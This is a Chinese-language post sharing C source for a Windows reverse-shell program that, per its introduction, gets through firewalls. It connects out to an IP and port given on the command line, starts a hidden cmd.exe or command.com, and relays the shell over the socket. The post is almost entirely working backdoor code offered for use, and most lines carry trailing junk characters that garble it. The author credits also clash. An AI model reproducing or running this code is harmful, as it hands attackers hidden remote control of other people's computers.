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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。  Ia)^  
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/* ============================== Iyvl6  
Rebound port in Windows NT SHPZXJ{  
By wind,2006/7 \'N|1!EO|t  
===============================*/ Bb/aeLv  
#include k4nA+k<WI`  
#include #kGxX@0  
8%9OB5?F6  
#pragma comment(lib,"wsock32.lib") %K]nX#.B&  
Xq%!(YD|  
void OutputShell(); KBGJB`D*  
SOCKET sClient; ~ .Eln+N  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; |m7`:~ow  
v6?<)M%  
void main(int argc,char **argv) ,K[B/tD{j  
{ }~5xlg$B<<  
WSADATA stWsaData; K#{E87G(  
int nRet; %x7l`.) N  
SOCKADDR_IN stSaiClient,stSaiServer; 8JAT2a61ur  
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if(argc != 3) N,_ej@L8  
{ y/2U:H  
printf("Useage:\n\rRebound DestIP DestPort\n"); 'lNl><e-  
return; 7f td2lv  
}  yQ8H-a.  
,@ Cru=  
WSAStartup(MAKEWORD(2,2),&stWsaData); ]R{=|  
2=NYBOE  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  Q-&]Vg  
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stSaiClient.sin_family = AF_INET; PX'I:B]x*  
stSaiClient.sin_port = htons(0); jW",'1h<n  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); L=}UApK  
+=@Z5eu  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) p:ST$ 1 K  
{ P-`^I`r  
printf("Bind Socket Failed!\n"); vR~*r6hX8  
return; 49Ue2=PP#  
} 7\U1K^q  
/ADxHw`k  
stSaiServer.sin_family = AF_INET; z_l3=7R  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); iVu+ct-iv  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); z?"5= "D  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) c)E[K-u  
{ +;[`fSi  
printf("Connect Error!"); j)IK  
return; |2 wff?  
} xD?{Hw>QT#  
OutputShell(); ,em6wIq,  
} pr0V)C6  
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void OutputShell() #CQ>d8&  
{ 0XYO2 k  
char szBuff[1024]; khv!\^&DD  
SECURITY_ATTRIBUTES stSecurityAttributes; X-{:.9  
OSVERSIONINFO stOsversionInfo; }\ DQxHG  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; j*:pW;)^  
STARTUPINFO stStartupInfo; ?s"v0cg+  
char *szShell; EShakV  
PROCESS_INFORMATION stProcessInformation; YJ16vb9  
unsigned long lBytesRead; ^]R0d3?>\  
Eq<#pX6  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 56_KB.Ww~  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); G[>-@9_b  
stSecurityAttributes.lpSecurityDescriptor = 0; /l$noaskX  
stSecurityAttributes.bInheritHandle = TRUE; Z|?XQ-R5  
V_W=MWs&+  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); My`%gP~%g  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); P/PS(`  
^&rb I,D  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); z:G9Uu3H(  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0\~Zg  
stStartupInfo.wShowWindow = SW_HIDE; _gGy(`  
stStartupInfo.hStdInput = hReadPipe; 6HqK%(  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 6~/H#8Kdn  
KnFbRhu[  
GetVersionEx(&stOsversionInfo); )eV40l$ M  
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switch(stOsversionInfo.dwPlatformId) sk3 ;;<H  
{ GQZUC\cB  
case 1: J;kbY9e  
szShell = "command.com"; j5)qF1W,  
break; 7=AKQ7BB>b  
default: vZDQ@\HrC  
szShell = "cmd.exe"; ` cv:p|s  
break; 5UM[Iz  
} >PJ-Z~O'   
5k(#kyP  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 68!fcK  
E0pQRGPA  
send(sClient,szMsg,77,0); 5y'Yosy:  
while(1) l&A`  
{ :gVjBF2  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); UK<"|2^sT  
if(lBytesRead) ]\ezES  
{ 3U`.:w`  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); E{ ,O}  
send(sClient,szBuff,lBytesRead,0); an2Tc*=~l(  
} Vi|jkyC8  
else Q}T9NzOH%  
{  ~EM];i  
lBytesRead=recv(sClient,szBuff,1024,0); By_Ui6:D  
if(lBytesRead<=0) break;  e.GzGX  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); DRIv<=Bt  
} R`&ioRWj  
} YBO53S]=  
]O\W<'+V  
return; 4dK@UN\  
}
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